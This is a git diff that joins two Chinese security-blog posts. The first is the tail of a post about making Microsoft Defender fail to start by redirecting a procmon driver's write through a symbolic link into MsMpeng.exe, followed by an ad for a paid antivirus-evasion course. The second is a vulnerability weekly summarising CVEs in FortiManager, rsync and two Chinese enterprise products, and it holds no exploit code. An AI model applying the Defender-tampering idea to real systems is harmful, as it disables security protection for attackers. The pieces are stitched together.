+重启之后我们会发现Defender已经无法启动了。 + +![](https://mmbiz.qpic.cn/mmbiz_png/ia1z64qxm2moczibsLvPS3lQ9hRHy35BsML2MSrtA1fN9Djibianehj21GdUATytRDzicxptF0ngUqtZPa2qiaRGBV4g/640?wx_fmt=png&from=appmsg "") + +并且签名也没有了。 + +![](https://mmbiz.qpic.cn/mmbiz_png/ia1z64qxm2moczibsLvPS3lQ9hRHy35BsM1IvAl1LkxlogprxT29I2PvgPh39n7xqkx4oJibUegibnUSpXZjEUVlyQ/640?wx_fmt=png&from=appmsg "") + +如上图我们也发现该文件的大小变得很大，这是因为本身驱动程序本应该写入到  +c:\windows\procmon.pmb +文件中。 + +因为符号链接的缘故，最后写入到了MsMpeng.exe文件中了。 + +欢迎加入我的知识星球，目前正在更新免杀相关的东西，145/永久，每100人加29，每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新105+ PDF文档，《2025年了，人生中最好的投资就是投资自己！！！》 + +加好友备注(星球)！！！ + +![图片](https://mmbiz.qpic.cn/mmbiz_png/ia1z64qxm2mr6tnqhFeYPVHGE9zUaoOwegUopeleqcBHwM0FQKBtqMkvFOfVvicibFlm6mRvLqmF8iar7dknyKyAVw/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") +##### 一些纷传的资源: + +![图片](https://mmbiz.qpic.cn/mmbiz_png/ia1z64qxm2mpic816FGIfRPyxLfIanSE0ldHAcibcttYtJmlNQ2bMZg71NqUNy0oxTibnicNaZgIsbbjCKHpzYhyXqQ/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/ia1z64qxm2mpic816FGIfRPyxLfIanSE0lcia6THnRbFpbGu79luuz8oa2IibShuG3nIv16us2h42z7Vh3URlP1J9A/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/ia1z64qxm2mpic816FGIfRPyxLfIanSE0lBv0M63wCogocUMbvWXHloiaZ4ibn91ZEDA5QfJDicNxCgPIBDmibFYgdSw/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + diff --git a/doc/雷神众测漏洞周报2024.1.20-2024.2.9.md b/doc/雷神众测漏洞周报2024.1.20-2024.2.9.md new file mode 100644 index 00000000..64dae36a --- /dev/null +++ b/doc/雷神众测漏洞周报2024.1.20-2024.2.9.md @@ -0,0 +1,163 @@ +# 雷神众测漏洞周报2024.1.20-2024.2.9 +原创 雷神众测 雷神众测 2025-02-10 09:30 + +摘要 + + +以下内容，均摘自于互联网，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，雷神众测以及文章作者不承担任何责任。雷神众测拥有该文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的副本，包括版权声明等全部内容。声明雷神众测允许，不得任意修改或增减此文章内容，不得以任何方式将其用于商业目的。 + + +目录 + +**1.Fortinet FortiManager操作系统命令注入漏洞** + +**2.Rsync存在多个高危漏洞** + +**3.用友网络科技股份有限公司用友NC存在SQL注入漏洞** + +**4.西安瑞友信息技术资讯有限公司瑞友天翼应用虚拟化系统存在SQL注入漏洞** + +漏洞详情 + +**1.Fortinet FortiManager操作系统命令注入漏洞** + +**** +漏洞介绍： + +Fortinet FortiManager是美国飞塔（Fortinet）公司的一套集中化网络安全管理平台。该平台支持集中管理任意数量的Fortinet设备，并能够将设备分组到不同的管理域（ADOM）进一步简化多设备安全部署与管理。 + + +漏洞危害： + +Fortinet FortiManager存在操作系统命令注入漏洞，该漏洞源于操作系统命令中使用的特殊元素的不当中和，经过身份验证的远程攻击者可利用该漏洞通过FGFM精心设计的请求执行未经授权的代码。 + + +漏洞编号： + +CVE-2024-50566 + + +影响范围： + +Fortinet FortiManager >=7.6.0，<=7.6.1 + +Fortinet fortimanager cloud >=7.6.0，<=7.6.1 + +Fortinet fortimanager cloud >=7.4.0，<=7.4.4 + +Fortinet fortimanager cloud >=7.2.2，<=7.2.7 + +Fortinet FortiManager >=7.4.0，<=7.4.5 + +Fortinet FortiManager >=7.2.1，<=7.2.8 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源:CNVD + +**2.Rsync存在多个高危漏洞** + + +漏洞介绍： + +rsync是Unix下的一款应用软件，它能同步更新两处计算机的文件与目录，并适当利用差分编码以减少数据传输量。 + + +漏洞危害： + +由于代码中未正确处理攻击者控制的校验和长度（s2length），当MAX_DIGEST_LEN超过固定SUM_LENGTH（16字节）时，攻击者可以在sum2缓冲区中越界写入（CVE-2024-12084）。当Rsync比较文件校验和时，攻击者可以通过校验和长度与未初始化内存之间的比较，一次泄漏一个字节的未初始化堆栈数据，从而造成敏感信息泄露（CVE-2024-12085）。当这两个漏洞进行组合利用时攻击者可以实现远程代码执行，例如通过对服务器的读取或写入任何连接客户端的任意文件，从而获取敏感数据（例如SSH密钥），通过覆盖文件来执行恶意代码。 + + +漏洞编号： + +CVE-2024-12084 + +CVE-2024-12085 + + +影响范围： + +3.2.7 < Rsync < 3.4.0 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源：安恒信息CERT + + +**3.用友网络科技股份有限公司用友NC存在SQL注入漏洞** + + +漏洞介绍： + +用友NC是一款大型erp企业管理系统与电子商务平台。 + + +漏洞危害： + +用友网络科技股份有限公司用友NC存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息。 + + +影响范围： + +用友网络科技股份有限公司 用友NC 6.5 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源：CNVD + +**4.西安瑞友信息技术资讯有限公司瑞友天翼应用虚拟化系统存在SQL注入漏洞** + + +漏洞介绍： + +瑞友天翼应用虚拟化系统是国内具有自主知识产权的应用虚拟化平台，是基于服务器计算（Server-based Computing）的应用虚拟化平台。 + + +漏洞危害： + +西安瑞友信息技术资讯有限公司瑞友天翼应用虚拟化系统存在SQL注入漏洞，攻击者可利用该漏洞获取服务器权限。 + + + +影响范围： + +西安瑞友信息技术资讯有限公司 瑞友天翼应用虚拟化系统 7.0.5.1 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源：CNVD + + + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HxO8NorP4JXvlpV6NlaqrZaEO6WG63j8U3QKTnsT4XIWucwjsYuuKibPfEFJcSrMp3ibPMuFx12l3dDzOLl6qDQw/640?wx_fmt=jpeg&from=appmsg "") + +专注渗透测试技术 + +全球最新网络攻击技术 + + +**END** + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HxO8NorP4JXvlpV6NlaqrZaEO6WG63j8OAtGGEibVdPQf03nFwvua57mYJKia1yRxSFwcIdd4K25oPrsXkAvsPiag/640?wx_fmt=jpeg&from=appmsg "") + + +